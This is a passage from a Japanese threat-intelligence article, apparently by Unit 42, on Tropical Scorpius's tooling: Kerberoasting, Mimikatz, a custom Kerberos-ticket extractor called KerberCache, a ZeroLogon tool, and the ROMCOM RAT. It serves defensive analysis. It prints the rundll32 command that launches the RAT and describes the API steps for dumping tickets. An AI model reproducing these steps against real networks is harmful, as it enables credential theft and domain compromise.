monospace;\">Invoke-WebRequest<\/span>\u3092\u4f7f\u3063\u3066\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3055\u308c\u3066\u3044\u307e\u3057\u305f\u3002\u3053\u308c\u30892\u3064\u306e\u30c4\u30fc\u30eb\u306f\u610f\u56f3\u3092\u96a0\u853d\u3059\u308b\u305f\u3081\u77ed\u7e2e\u540d\u3067\u540c\u4e00\u306e\u30b7\u30b9\u30c6\u30e0\u306b\u30c9\u30ed\u30c3\u30d7\u3055\u308c\u3066\u3044\u307e\u3057\u305f\u3002<\/p>\n<p>\u307e\u305f\u3001\u6a29\u9650\u306e\u4f4e\u3044\u30b7\u30b9\u30c6\u30e0\u3067\u30af\u30ec\u30c7\u30f3\u30b7\u30e3\u30eb\u3092\u6e96\u5099\u30fb\u53ce\u96c6\u3059\u308b\u306e\u306b\u3001PowerShell\u30d9\u30fc\u30b9\u306e\u30b9\u30af\u30ea\u30d7\u30c8\u306e<span style=\"font-family: 'courier new', courier, monospace;\">GetUserSPNs.ps1<\/span>\u304c\u4f7f\u308f\u308c\u3066\u3044\u307e\u3057\u305f\u3002\u3053\u306e\u7279\u5b9a\u30b9\u30af\u30ea\u30d7\u30c8\u306f\u30b5\u30fc\u30d3\u30b9\u30a2\u30ab\u30a6\u30f3\u30c8\u3068\u3057\u3066\u4f7f\u7528\u3055\u308c\u3066\u3044\u308b\u30e6\u30fc\u30b6\u30fc\u30a2\u30ab\u30a6\u30f3\u30c8\u3092\u7279\u5b9a\u3059\u308b\u3053\u3068\u304c\u3067\u304d\u308b\u3082\u306e\u3067\u30013\u3064\u306e\u7570\u306a\u308b\u30b7\u30b9\u30c6\u30e0\u4e0a\u3067\u78ba\u8a8d\u3055\u308c\u307e\u3057\u305f\u3002\u8105\u5a01\u30a2\u30af\u30bf\u30fc\u306f\u3053\u306e\u30d7\u30ed\u30bb\u30b9\u3092\u4f7f\u3044\u3001\u72d9\u3046\u4fa1\u5024\u306e\u3042\u308b\u30a2\u30ab\u30a6\u30f3\u30c8\u3092\u30d4\u30f3\u30dd\u30a4\u30f3\u30c8\u3067\u7279\u5b9a\u3057\u3001\u305d\u308c\u3089\u306e\u30a2\u30ab\u30a6\u30f3\u30c8\u306b\u95a2\u9023\u3059\u308bActive Directory\u306eKerberos\u30c1\u30b1\u30c3\u30c8\u3092\u53d6\u5f97\u3057\u3001\u53d6\u5f97\u3057\u305fKerberos\u30c1\u30b1\u30c3\u30c8\u3092<a href=\"https:\/\/attack.mitre.org\/techniques\/T1558\/003\/\">Kerberoasting<\/a>\u3068\u547c\u3070\u308c\u308b\u6280\u8853\u306b\u3088\u308a\u30aa\u30d5\u30e9\u30a4\u30f3\u3067\u30af\u30e9\u30c3\u30af\u3057\u3066\u53ce\u96c6\u3057\u307e\u3057\u305f\u3002<\/p>\n<p>\u3053\u306e\u30af\u30ec\u30c7\u30f3\u30b7\u30e3\u30eb\u7a83\u53d6\u306b\u95a2\u9023\u3059\u308b\u8ffd\u52a0\u306e\u30a2\u30af\u30c6\u30a3\u30d3\u30c6\u30a3\u304c<span style=\"font-family: 'courier new', courier, monospace;\"><strong>GetUserSPNs.ps1<\/strong><\/span>\u306e\u4f7f\u7528\u304b\u3089\u304a\u3088\u305d1\u9031\u9593\u5f8c\u306b\u89b3\u6e2c\u3055\u308c\u307e\u3057\u305f\u3002 \u3053\u306e\u3068\u304d\u306f\u3001\u30e6\u30fc\u30b6\u30fc\u306e\u30ef\u30fc\u30af\u30b9\u30c6\u30fc\u30b7\u30e7\u30f3\u4e0a\u306e\u30e6\u30fc\u30b6\u30fc\u306e\u30c9\u30ad\u30e5\u30e1\u30f3\u30c8\u30d5\u30a9\u30eb\u30c0\u306bMimikatz\u304czip\u30d5\u30a1\u30a4\u30eb\u3068\u3057\u3066\u66f8\u304d\u8fbc\u307e\u308c\u308b\u69d8\u5b50\u304c\u89b3\u6e2c\u3055\u308c\u307e\u3057\u305f\u3002Mimikatz\u306f\u8457\u540d\u306a\u30af\u30ec\u30c7\u30f3\u30b7\u30e3\u30eb\u30b9\u30c6\u30a3\u30fc\u30e9\u30fc\u3067\u3001\u30aa\u30da\u30ec\u30fc\u30c6\u30a3\u30f3\u30b0\u30b7\u30b9\u30c6\u30e0\u4e0a\u3067\u30af\u30ec\u30c7\u30f3\u30b7\u30e3\u30eb\u306e\u5b58\u5728\u3057\u3046\u308b\u3055\u307e\u3056\u307e\u306a\u5834\u6240\u3092\u6a19\u7684\u3068\u3059\u308b\u30aa\u30d7\u30b7\u30e7\u30f3\u304c\u591a\u6570\u7528\u610f\u3055\u308c\u3066\u3044\u307e\u3059\u3002<\/p>\n<p>Mimikatz\u304c\u89b3\u6e2c\u3055\u308c\u305f\u9803\u3001\u5225\u306e\u30ef\u30fc\u30af\u30b9\u30c6\u30fc\u30b7\u30e7\u30f3\u3067\u306f\u30ab\u30b9\u30bf\u30e0\u30cf\u30c3\u30af\u30c4\u30fc\u30eb\u304c\u89b3\u6e2c\u3055\u308c\u307e\u3057\u305f\u3002\u3053\u306e\u30ab\u30b9\u30bf\u30e0\u30cf\u30c3\u30af\u30c4\u30fc\u30eb\u306f\u3001\u30db\u30b9\u30c8\u306eLSASS\u30e1\u30e2\u30ea\u304b\u3089\u30ad\u30e3\u30c3\u30b7\u30e5\u3055\u308c\u305fKerberos\u30c1\u30b1\u30c3\u30c8\u3092\u62bd\u51fa\u3059\u308b\u3053\u3068\u3092\u610f\u56f3\u3057\u305f\u3082\u306e\u3067\u3001\u30e6\u30fc\u30b6\u30fc\u306e\u30c9\u30ad\u30e5\u30e1\u30f3\u30c8\u30d5\u30a9\u30eb\u30c0\u306b\u30c9\u30ed\u30c3\u30d7\u3055\u308c\u307e\u3057\u305f\u3002<\/p>\n<p>Unit 42\u306f\u3001Tropical Scorpius\u304c\u4f7f\u3046\u3053\u306eKerberos\u30c4\u30fc\u30eb\u3092\u3001\u305d\u306e\u5168\u822c\u7684\u306a\u76ee\u7684\u306b\u3082\u3068\u3065\u304d\u3001\u300cKerberCache\u300d\u3068\u547d\u540d\u3057\u307e\u3057\u305f\u3002\u4ee5\u4e0b\u56f314\u306f\u30c4\u30fc\u30eb\u306e\u51fa\u529b\u753b\u9762\u306e\u30b9\u30af\u30ea\u30fc\u30f3\u30b7\u30e7\u30c3\u30c8\u3067\u3001\u30c4\u30fc\u30eb\u306e\u751f\u6210\u3057\u305f\u89e3\u6790\u6e08\u307f\u30c7\u30fc\u30bf\u3092\u8868\u793a\u3057\u3066\u3044\u307e\u3059\u3002<\/p>\n<figure id=\"attachment_124347\" aria-describedby=\"caption-attachment-124347\" style=\"width: 900px\" class=\"wp-caption aligncenter\"><img  class=\"wp-image-124348 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2022\/08\/word-image-15.png\" alt=\"Unit 42\u306f\u3001Tropical Scorpius\u304c\u4f7f\u3046\u3053\u306eKerberos\u30c4\u30fc\u30eb\u3092\u3001\u305d\u306e\u5168\u822c\u7684\u306a\u76ee\u7684\u306b\u3082\u3068\u3065\u304d\u3001\u300cKerberCache\u300d\u3068\u547d\u540d\u3057\u307e\u3057\u305f\u3002\u30c4\u30fc\u30eb\u306e\u51fa\u529b\u753b\u9762\u306e\u30b9\u30af\u30ea\u30fc\u30f3\u30b7\u30e7\u30c3\u30c8\u3002\u30c4\u30fc\u30eb\u306e\u751f\u6210\u3057\u305f\u89e3\u6790\u6e08\u307f\u30c7\u30fc\u30bf\u3092\u8868\u793a\u3057\u3066\u3044\u308b\u3002 \" width=\"900\" height=\"372\" \/><figcaption id=\"caption-attachment-124347\" class=\"wp-caption-text\">\u56f314 KerberCache\u304c\u30c1\u30b1\u30c3\u30c8\u3092\u62bd\u51fa\u3057\u305f\u3088\u3046\u3059<\/figcaption><\/figure>\n<p>\u5185\u90e8\u306b\u76ee\u3092\u5411\u3051\u308b\u3068\u3001KerberCache\u306fAPI\u306e<span style=\"font-family: 'courier new', courier, monospace;\">LsaConnectUntrusted<\/span>\u3092\u547c\u3073\u51fa\u3057\u3066\u3001\u4ee5\u964d\u306e\u547c\u3073\u51fa\u3057\u306b\u4f7f\u3046\u30cf\u30f3\u30c9\u30eb\u3092\u53d6\u5f97\u3057\u307e\u3059\u3002\u30cf\u30f3\u30c9\u30eb\u304c\u8fd4\u3055\u308c\u308b\u3068\u3001\u7d9a\u3044\u3066<span style=\"font-family: 'courier new', courier, monospace;\">LsaLookupAuthenticationPackage<\/span>\u3092\u547c\u3073\u51fa\u3057\u307e\u3059\u304c\u3001\u305d\u306e\u3055\u3044\u3001Kerberos\u3068\u3044\u3046\u540d\u524d\u306e\u30d1\u30c3\u30b1\u30fc\u30b8\u3068\u3001\u5148\u306e<span style=\"font-family: 'courier new', courier, monospace;\">LsaConnectUntrusted<\/span>API\u547c\u3073\u51fa\u3057\u3067\u5f97\u305f\u30cf\u30f3\u30c9\u30eb\u3092\u6e21\u3057\u307e\u3059\u3002\u3053\u306e\u95a2\u6570\u306e\u51e6\u7406\u304c\u6b63\u5e38\u306b\u7d42\u4e86\u3059\u308b\u3068\u3001KerberCache\u306fAPI <span style=\"font-family: 'courier new', courier, monospace;\">LsaCallAuthenticationPackage<\/span>\u3092\u547c\u3073\u51fa\u3057\u307e\u3059\u3002\u4ee5\u4e0b\u306e\u56f315\u306f\u3053\u306e\u95a2\u6570\u304c\u547c\u3073\u51fa\u3055\u308c\u305f\u3055\u3044\u306e\u30b3\u30f3\u30c8\u30ed\u30fc\u30eb\u30d5\u30ed\u30fc\u306e\u30d5\u30a9\u30fc\u30de\u30c3\u30c8\u3092\u30c7\u30b3\u30f3\u30d1\u30a4\u30eb\u3057\u305f\u30b9\u30cb\u30da\u30c3\u30c8\u3067\u3001\u30d1\u30fc\u30b9\u304c\u5b9f\u884c\u3055\u308c\u3066\u3044\u308b\u69d8\u5b50\u3092\u793a\u3057\u3066\u3044\u307e\u3059\u3002<\/p>\n<figure id=\"attachment_124349\" aria-describedby=\"caption-attachment-124349\" style=\"width: 900px\" class=\"wp-caption aligncenter\"><img  class=\"wp-image-124350 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2022\/08\/word-image-16.png\" alt=\"\u30c7\u30b3\u30f3\u30d1\u30a4\u30eb\u3057\u305f\u30b5\u30f3\u30d7\u30eb\u3002\u30c1\u30b1\u30c3\u30c8\u304c\u30d1\u30fc\u30b9\u3055\u308c\u3066\u3044\u308b\u3002\u3053\u306e\u56f3\u306f\u3053\u306e\u95a2\u6570\u304c\u547c\u3073\u51fa\u3055\u308c\u305f\u3055\u3044\u306e\u30b3\u30f3\u30c8\u30ed\u30fc\u30eb\u30d5\u30ed\u30fc\u306e\u30d5\u30a9\u30fc\u30de\u30c3\u30c8\u3092\u30c7\u30b3\u30f3\u30d1\u30a4\u30eb\u3057\u305f\u30b9\u30cb\u30da\u30c3\u30c8\u3067\u3001\u30d1\u30fc\u30b9\u304c\u5b9f\u884c\u3055\u308c\u3066\u3044\u308b\u69d8\u5b50\u3092\u793a\u3057\u3066\u3044\u307e\u3059\u3002 \" width=\"900\" height=\"597\" \/><figcaption id=\"caption-attachment-124349\" class=\"wp-caption-text\">\u56f315. \u30c7\u30b3\u30f3\u30d1\u30a4\u30eb\u3057\u305f\u30b5\u30f3\u30d7\u30eb\u3002\u30c1\u30b1\u30c3\u30c8\u304c\u30d1\u30fc\u30b9\u3055\u308c\u3066\u3044\u308b\u3002<\/figcaption><\/figure>\n<p>\u30ad\u30e3\u30c3\u30b7\u30e5\u3055\u308c\u305fKerberos\u30c1\u30b1\u30c3\u30c8\u306e\u53d6\u5f97\u304c\u6210\u529f\u3059\u308b\u3068\u3001\u3053\u308c\u3089\u306e\u30c1\u30b1\u30c3\u30c8\u306fbase64\u30a8\u30f3\u30b3\u30fc\u30c9\u3092\u884c\u3046\u95a2\u6570\u306b\u6e21\u3055\u308c\u3001\u30c4\u30fc\u30eb\u5b9f\u884c\u4e2d\u306e\u30ab\u30ec\u30f3\u30c8\u30ef\u30fc\u30ad\u30f3\u30b0\u30c7\u30a3\u30ec\u30af\u30c8\u30ea\u306b\u66f8\u304d\u8fbc\u307e\u308c\u307e\u3059\u3002\u3053\u306e\u30c4\u30fc\u30eb\u306e\u547d\u540d\u898f\u5247\u306e\u51fa\u529b\u306f\u3001<span style=\"font-family: 'courier new', courier, monospace;\">[user@servername]_[encryption_type].[ticket_number].kirbi<\/span>\u3068\u3044\u3046\u5f62\u5f0f\u306e\u30bb\u30af\u30b7\u30e7\u30f3\u306b\u5206\u89e3\u3067\u304d\u307e\u3059\u3002\u30d5\u30a1\u30a4\u30eb\u30b7\u30b9\u30c6\u30e0\u306b\u66f8\u304d\u8fbc\u307e\u308c\u308b\u5b9f\u969b\u306e\u30c1\u30b1\u30c3\u30c8\u547d\u540d\u898f\u5247\u306f\u3001<span style=\"font-family: 'courier new', courier, monospace;\">krbtgt@CORP.INTERNAL_18.0.kirbi.<\/span>\u3068\u3044\u3046\u51fa\u529b\u30b5\u30f3\u30d7\u30eb\u306e\u3088\u3046\u306a\u5185\u5bb9\u306b\u306a\u308a\u307e\u3059\u3002<\/p>\n<figure id=\"attachment_124351\" aria-describedby=\"caption-attachment-124351\" style=\"width: 900px\" class=\"wp-caption aligncenter\"><img  class=\"wp-image-124352 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2022\/08\/word-image-17.png\" alt=\"\u30c7\u30b3\u30f3\u30d1\u30a4\u30eb\u3057\u305f\u30b5\u30f3\u30d7\u30eb\u304c\u30c1\u30b1\u30c3\u30c8\u3092\u30a8\u30f3\u30b3\u30fc\u30c9\u3057\u3066\u3044\u308b\u3068\u3053\u308d\u3002\u3053\u306e\u30c4\u30fc\u30eb\u306e\u547d\u540d\u898f\u5247\u306e\u51fa\u529b\u306f\u3001[user@servername]_[encryption_type].[ticket_number].kirbi\u3068\u3044\u3046\u5f62\u5f0f\u306e\u30bb\u30af\u30b7\u30e7\u30f3\u306b\u5206\u89e3\u3067\u304d\u308b\u3002\" width=\"900\" height=\"812\" \/><figcaption id=\"caption-attachment-124351\" class=\"wp-caption-text\">\u56f316. \u30c7\u30b3\u30f3\u30d1\u30a4\u30eb\u3057\u305f\u30b5\u30f3\u30d7\u30eb\u304c\u30c1\u30b1\u30c3\u30c8\u3092\u30a8\u30f3\u30b3\u30fc\u30c9\u3057\u3066\u3044\u308b\u3068\u3053\u308d\u3002<\/figcaption><\/figure>\n<h2><a id=\"post-124395-_a7udkc2dtw5i\"><\/a>\u30c9\u30e1\u30a4\u30f3\u7ba1\u7406\u8005\u3078<\/h2>\n<p>Tropical Scorpius\u306f\u5f53\u521d\u3001PowerShell\u306e<span style=\"font-family: 'courier new', courier, monospace;\">Invoke-WebRequest<\/span>\u3092\u4f7f\u3044\u3001Web\u30db\u30b9\u30c6\u30a3\u30f3\u30b0\u30d7\u30e9\u30c3\u30c8\u30d5\u30a9\u30fc\u30e0 <span style=\"font-family: 'courier new', courier, monospace;\">tmpfiles[.]org<\/span>\u304b\u3089\u81ea\u5206\u305f\u3061\u304c\u4f7f\u3046Domain Admin\u30c4\u30fc\u30eb\u3092\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3057\u3066\u3044\u307e\u3057\u305f\u3002\u3053\u306e\u30b5\u30f3\u30d7\u30eb\u306f\u3001Themida\u306eAnti-VM\u6a5f\u80fd\u3092\u4f7f\u3063\u3066\u30d1\u30c3\u30af\u3055\u308c\u3066\u3044\u307e\u3057\u305f(Themida\u306f\u8457\u540d\u5546\u7528\u30d1\u30c3\u30ab\u30fc)\u3002\u307e\u305f\u3053\u306e\u30b5\u30f3\u30d7\u30eb\u306f\u30d5\u30a1\u30a4\u30eb\u540d\u3092<span style=\"font-family: 'courier new', courier, monospace;\">Filezilla<\/span>\u306b\u507d\u88c5\u3057\u3066\u3044\u307e\u3057\u305f\u3002<\/p>\n<p>\u5b9f\u884c\u6642\u3001\u4eee\u60f3\u5316\u74b0\u5883\u3067\u52d5\u4f5c\u3057\u3066\u3044\u308b\u3053\u3068\u304c\u308f\u304b\u308b\u3068\u3001\u3053\u306e\u30d1\u30c3\u30ab\u30fc\u306f\u6b21\u306e\u3088\u3046\u306a\u30e1\u30c3\u30bb\u30fc\u30b8\u3092\u8868\u793a\u3057\u307e\u3059\u3002<\/p>\n<figure id=\"attachment_124353\" aria-describedby=\"caption-attachment-124353\" style=\"width: 400px\" class=\"wp-caption aligncenter\"><img  class=\"wp-image-124354 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2022\/08\/word-image-18.png\" alt=\"\" width=\"400\" height=\"153\" \/><figcaption id=\"caption-attachment-124353\" class=\"wp-caption-text\">\u56f317 Themida Anti-VM \u306e\u30b5\u30f3\u30d7\u30eb\u3002<\/figcaption><\/figure>\n<p>\u30cf\u30c3\u30af\u30c4\u30fc\u30eb\u306b\u7d10\u3065\u3044\u305f\u72ec\u81ea\u30b3\u30de\u30f3\u30c9\u7fa4\u306f\u3001<span style=\"font-family: 'courier new', courier, monospace;\">Zero.exe<\/span>\u304c\u9ad8\u3044\u78ba\u5ea6\u3067ZeroLogon\u30cf\u30c3\u30af\u30c4\u30fc\u30eb\u3067\u3042\u308b\u3053\u3068\u3092\u3046\u304b\u304c\u308f\u305b\u307e\u3059\u3002ZeroLogon\u30cf\u30c3\u30af\u30c4\u30fc\u30eb\u306f\u3001<a href=\"https:\/\/nvd.nist.gov\/vuln\/detail\/cve-2020-1472\">CVE-2020-1472<\/a>\u3092\u60aa\u7528\u3057\u3066\u30c9\u30e1\u30a4\u30f3\u30b3\u30f3\u30c8\u30ed\u30fc\u30e9\u306bNTLM\u30cf\u30c3\u30b7\u30e5\u3092\u8981\u6c42\u3059\u308b\u3053\u3068\u306b\u3088\u308a\u3001\u30c9\u30e1\u30a4\u30f3\u7ba1\u7406\u8005 (DA) \u306e\u6a29\u9650\u3092\u596a\u53d6\u3059\u308b\u76ee\u7684\u3067\u4f7f\u308f\u308c\u307e\u3059\u3002<\/p>\n<figure id=\"attachment_124355\" aria-describedby=\"caption-attachment-124355\" style=\"width: 900px\" class=\"wp-caption aligncenter\"><img  class=\"wp-image-124356 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2022\/08\/word-image-19.png\" alt=\"ZeroLogon\u30cf\u30c3\u30af\u30c4\u30fc\u30eb\u306f\u3001CVE-2020-1472\u3092\u60aa\u7528\u3057\u3066\u30c9\u30e1\u30a4\u30f3\u30b3\u30f3\u30c8\u30ed\u30fc\u30e9\u306bNTLM\u30cf\u30c3\u30b7\u30e5\u3092\u8981\u6c42\u3059\u308b\u3053\u3068\u306b\u3088\u308a\u3001\u30c9\u30e1\u30a4\u30f3\u7ba1\u7406\u8005 (DA) \u306e\u6a29\u9650\u3092\u596a\u53d6\u3059\u308b\u76ee\u7684\u3067\u4f7f\u308f\u308c\u307e\u3059\u3002\" width=\"900\" height=\"660\" \/><figcaption id=\"caption-attachment-124355\" class=\"wp-caption-text\">\u56f318. ZeroLogon\u30cf\u30c3\u30af\u30c4\u30fc\u30eb\u304c\u30d1\u30c3\u30af\u3057\u305f\u30b5\u30f3\u30d7\u30eb\u3002<\/figcaption><\/figure>\n<p>\u6570\u3042\u308b\u30de\u30eb\u30a6\u30a7\u30a2\u30d5\u30a1\u30df\u30ea\u306e\u306a\u304b\u3067\u3082\u30af\u30e9\u30a4\u30e0\u30a6\u30a7\u30a2\u754c\u9688\u3067\u653b\u6483\u30c1\u30a7\u30fc\u30f3\u5229\u7528\u306b\u4eba\u6c17\u3092\u96c6\u3081\u3066\u3044\u308b\u3068\u3055\u308c\u308b\u306e\u304c\u3053\u306eZeroLogon\u30cf\u30c3\u30af\u30c4\u30fc\u30eb\u3067\u3001\u3053\u306e\u30c4\u30fc\u30eb\u306f<a href=\"https:\/\/thedfirreport.com\/2022\/02\/21\/qbot-and-zerologon-lead-to-full-domain-compromise\/\">Qbot<\/a>\u3084<a href=\"https:\/\/thedfirreport.com\/2021\/11\/01\/from-zero-to-domain-admin\/\">Hancitor<\/a>\u304c\u95a2\u9023\u3059\u308b\u4fb5\u5165\u3068\u306e\u91cd\u8907\u304c\u307f\u3089\u308c\u3066\u3044\u307e\u3059\u3002<\/p>\n<h2><a id=\"post-124395-_wikwdfvrewdq\"><\/a>Command and Control (\u30b3\u30de\u30f3\u30c9&amp;\u30b3\u30f3\u30c8\u30ed\u30fc\u30eb)<\/h2>\n<p>\u524d\u8ff0\u306e\u30c4\u30fc\u30eb\u7fa4\u306b\u52a0\u3048\u3001Unit 42\u306f\u3001\u72ec\u81ea\u306e\u30b3\u30de\u30f3\u30c9\uff06\u30b3\u30f3\u30c8\u30ed\u30fc\u30eb(C2)\u30d7\u30ed\u30c8\u30b3\u30eb\u3092\u542b\u3080\u30ab\u30b9\u30bf\u30e0\u30ea\u30e2\u30fc\u30c8\u30a2\u30af\u30bb\u30b9\u30c8\u30ed\u30fc\u30b8\u30e3\u30f3\/\u30d0\u30c3\u30af\u30c9\u30a2\u3082\u767a\u898b\u3057\u3066\u3044\u307e\u3059\u3002\u30d0\u30a4\u30ca\u30ea\u306b\u542b\u307e\u308c\u3066\u3044\u308b\u6587\u5b57\u5217\u3068\u305d\u306e\u6a5f\u80fd\u304b\u3089\u3001\u79c1\u305f\u3061\u306f\u3053\u308c\u3092\u300cROMCOM RAT\u300d\u3068\u540d\u3065\u3051\u307e\u3057\u305f\u3002<\/p>\n<p>ROMCOM RAT\u306f2\u3064\u3042\u308b\u30a8\u30af\u30b9\u30dd\u30fc\u30c8\u306e\u3044\u305a\u308c\u304b1\u3064\u3092\u4f7f\u3063\u3066\u5b9f\u884c\u3067\u304d\u307e\u3059\u3002<\/p>\n<p><span style=\"font-family: 'courier new', courier, monospace;\">ServiceMain<br \/>\n<\/span><span style=\"font-family: 'courier new', courier, monospace;\">startWorker<\/span><\/p>\n<p>\u3069\u3061\u3089\u306e\u30a8\u30af\u30b9\u30dd\u30fc\u30c8\u3082\u540c\u3058\u95a2\u6570\u306e\u5b9f\u884c\u306b\u3064\u306a\u304c\u308a\u307e\u3059\u304c\u3001\u9055\u3044\u306f\u5f15\u6570\u3068\u3057\u3066\u6e21\u3055\u308c\u308b\u6587\u5b57\u5217\u3067\u3059\u3002<span style=\"font-family: 'courier new', courier, monospace;\">ServiceMain<\/span>\u306f\u6587\u5b57\u5217<span style=\"font-family: 'courier new', courier, monospace;\">_inet<\/span>\u3092\u6e21\u3057\u3001<span style=\"font-family: 'courier new', courier, monospace;\">startWorker<\/span>\u306f\u6587\u5b57\u5217<span style=\"font-family: 'courier new', courier, monospace;\">_file<\/span>\u3092\u6e21\u3057\u307e\u3059\u3002\u3053\u306e\u6587\u5b57\u5217\u3072\u3068\u3064\u3067\u30b5\u30f3\u30d7\u30eb\u306e\u5b9f\u884c\u30d5\u30ed\u30fc\u306f\u5b8c\u5168\u306b\u7570\u306a\u308b\u3082\u306e\u306b\u306a\u308a\u307e\u3059\u3002<span style=\"font-family: 'courier new', courier, monospace;\">ServiceMain<\/span>\u3067\u306f\u30b5\u30f3\u30d7\u30eb\u304cC2\u30b5\u30fc\u30d0\u30fc\u306b\u30d3\u30fc\u30b3\u30f3\u3092\u767a\u4fe1\u3057\u307e\u3059\u304c\u3001startWorker\u3067\u306f\u30b5\u30f3\u30d7\u30eb\u304c\u30b7\u30b9\u30c6\u30e0\u4e0a\u306b\u30d0\u30c3\u30af\u30c9\u30a2\u3092\u958b\u3044\u3066\u63a5\u7d9a\u3092\u5f85\u3061\u53d7\u3051\u307e\u3059\u3002<\/p>\n<h3><a id=\"post-124395-_qxuij9g4oeh1\"><\/a>ServiceMain\u306e\u30a8\u30af\u30b9\u30dd\u30fc\u30c8<\/h3>\n<p>ServiceMain\u306e\u30a8\u30af\u30b9\u30dd\u30fc\u30c8\u3092\u5b9f\u884c\u3059\u308b\u3068\u3001ROMCOM\u306f\u4ee5\u4e0b\u306e\u30b3\u30de\u30f3\u30c9\u30e9\u30a4\u30f3\u3092\u5b9f\u884c\u3057\u307e\u3059\u3002<\/p>\n<p><span style=\"font-family: 'courier new', courier, monospace;\">C:\\\\Windows\\\\System32\\\\rundll32.exe<br \/>\nC:\\\\Windows\\\\System32\\\\comDll.dll,startWorker<\/span><\/p>\n<p>\u3053\u308c\u304c<span style=\"font-family: 'courier new', courier, monospace;\">startWorker<\/span>\u306e\u30a8\u30af\u30b9\u30dd\u30fc\u30c8\u5b9f\u884c\u306b\u3064\u306a\u304c\u308a\u307e\u3059\u3002ROMCOM\u304c\u6700\u521d\u306b\u30b5\u30fc\u30d3\u30b9\u7d4c\u7531\u3067\u5b9f\u884c\u3055\u308c\u305f\u3068\u4eee\u5b9a\u3059\u308b\u3068\u3001\u3053\u308c\u306b\u3088\u3063\u3066\u4e21\u30a8\u30af\u30b9\u30dd\u30fc\u30c8\u304c\u5358\u4e00\u30de\u30b7\u30f3\u4e0a\u3067\u30a2\u30af\u30c6\u30a3\u30d6\u306b\u306a\u308b\u3053\u3068\u306b\u306a\u308a\u307e\u3059\u3002<\/p>\n<figure id=\"attachment_124357\" aria-describedby=\"caption-attachment-124357\" style=\"width: 900px\" class=\"wp-caption aligncenter\"><img  class=\"wp-image-124358 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2022\/08\/word-image-20.png\" alt=\"ROMCOM\u30b5\u30f3\u30d7\u30eb\u3092rundll32.exe\u7d4c\u7531\u3067startWorker\u5f15\u6570\u3092\u3064\u3051\u3066\u5b9f\u884c\" width=\"900\" height=\"427\" \/><figcaption id=\"caption-attachment-124357\" class=\"wp-caption-text\">\u56f319 ROMCOM\u30b5\u30f3\u30d7\u30eb\u3092rundll32.exe\u7d4c\u7531\u3067startWorker\u5f15\u6570\u3092\u3064\u3051\u3066\u5b9f\u884c<\/figcaption><\/figure>\n<p>\u305d\u3053\u304b\u3089ROMCOM\u306f\u30b7\u30b9\u30c6\u30e0\u60c5\u5831\u3068\u30e6\u30fc\u30b6\u30fc\u60c5\u5831\u3092\u53ce\u96c6\u3057\u3001\u30cf\u30fc\u30c9\u30b3\u30fc\u30c9\u3055\u308c\u305fC2\u30b5\u30fc\u30d0\u30fc\u306bWinHTTP API\u7d4c\u7531\u3067\u9001\u4fe1\u3057\u3088\u3046\u3068\u3057\u307e\u3059\u3002\u6210\u529f\u3059\u308b\u3068\u30ec\u30b9\u30dd\u30f3\u30b9\u304c\u30d1\u30fc\u30b9\u3055\u308c\u3001\u3057\u304b\u308b\u3079\u304f\u51e6\u7406\u3055\u308c\u307e\u3059\u3002<\/p>\n<figure id=\"attachment_124359\" aria-describedby=\"caption-attachment-124359\" style=\"width: 900px\" class=\"wp-caption aligncenter\"><img  class=\"wp-image-124360 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2022\/08\/word-image-21.png\" alt=\"ROMCOM\u306fICMP\u6a5f\u80fd\u3092\u63d0\u4f9b\u3057\u3066\u3044\u308b\u3002\u30b9\u30cb\u30da\u30c3\u30c8\u306e\u6700\u521d\u306e\u884c\u306fdoICMPRequests = 0\u3002\" width=\"900\" height=\"746\" \/><figcaption id=\"caption-attachment-124359\" class=\"wp-caption-text\">\u56f320 ROMCOM\u306fICMP\u6a5f\u80fd\u3092\u63d0\u4f9b\u3057\u3066\u3044\u308b<\/figcaption><\/figure>\n<figure id=\"attachment_124361\" aria-describedby=\"caption-attachment-124361\" style=\"width: 900px\" class=\"wp-caption aligncenter\"><img  class=\"wp-image-124362 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2022\/08\/word-image-22.png\" alt=\"C2 \u304b\u3089\u53d7\u4fe1\u3057\u305f\u30d1\u30b1\u30c3\u30c8\u306e\u30b3\u30de\u30f3\u30c9\u51e6\u7406\u3002\u30b9\u30cb\u30da\u30c3\u30c8\u306e1\u884c\u76ee\u306fmenmove(&amp;v38, receivedData, 4096u164)\u3002\" width=\"900\" height=\"823\" \/><figcaption id=\"caption-attachment-124361\" class=\"wp-caption-text\">\u56f321. C2 \u304b\u3089\u53d7\u4fe1\u3057\u305f\u30d1\u30b1\u30c3\u30c8\u306e\u30b3\u30de\u30f3\u30c9\u51e6\u7406\u3002<\/figcaption><\/figure>\n<p>\u63a5\u7d9a\u304c\u5931\u6557\u3059\u308b\u3068\u3001ROMCOM\u306fICMP\u30ea\u30af\u30a8\u30b9\u30c8\u3067C2\u30b5\u30fc\u30d0\u30fc\u306b\u63a5\u7d9a\u3057\u3066\u901a\u4fe1\u3057\u3088\u3046\u3068\u3057\u307e\u3059\u3002<span style=\"font-family: 'courier new', courier, monospace;\">IcmpCreateFile()<\/span>\u3084<span style=\"font-family: 'courier new', courier, monospace;\">IcmpSendEcho()<\/span>\u306a\u3069\u306eWindows 